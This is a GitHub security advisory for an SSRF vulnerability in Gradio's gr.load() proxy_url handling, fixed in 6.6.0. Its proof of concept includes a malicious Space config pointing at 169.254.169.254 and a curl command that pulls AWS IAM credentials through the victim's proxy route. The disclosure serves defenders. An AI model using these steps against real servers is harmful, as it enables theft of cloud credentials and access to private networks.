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Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing

High severity GitHub Reviewed Published Feb 27, 2026 in gradio-app/gradio • Updated Mar 1, 2026

Package

gradio (pip)

Affected versions

< 6.6.0

Patched versions

6.6.0

Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.

Details

The vulnerability exists in Gradio's config processing flow when loading external Spaces:

  1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.

  2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:

    if config.get("proxy_url"):
        self.proxy_urls.add(config["proxy_url"])
  3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:

    @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
    async def reverse_proxy(url_path: str):
  4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:

    is_safe_url = any(
        url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
    )

An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.

PoC

Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6

1. Attacker creates a malicious Gradio Space that returns this config:

{
    "mode": "blocks",
    "components": [...],
    "proxy_url": "http://169.254.169.254/"  # AWS metadata endpoint
}

2. Victim loads the malicious Space:

import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)

3. Attacker exploits the proxy:

# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Impact

Who is impacted:

  • Any Gradio application that uses gr.load() to load external/untrusted Spaces
  • HuggingFace Spaces that compose or embed other Spaces
  • Enterprise deployments where Gradio apps have access to internal networks

Attack scenarios:

  • Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
  • Internal service access: Reach databases, admin panels, and APIs on private networks
  • Network reconnaissance: Map internal infrastructure through the victim
  • Data exfiltration: Access sensitive internal APIs and services

References

@freddyaboulton freddyaboulton published to gradio-app/gradio Feb 27, 2026
Published by the National Vulnerability Database Feb 27, 2026
Published to the GitHub Advisory Database Mar 1, 2026
Reviewed Mar 1, 2026
Last updated Mar 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-28416

GHSA ID

GHSA-jmh7-g254-2cq9

Source code

Credits

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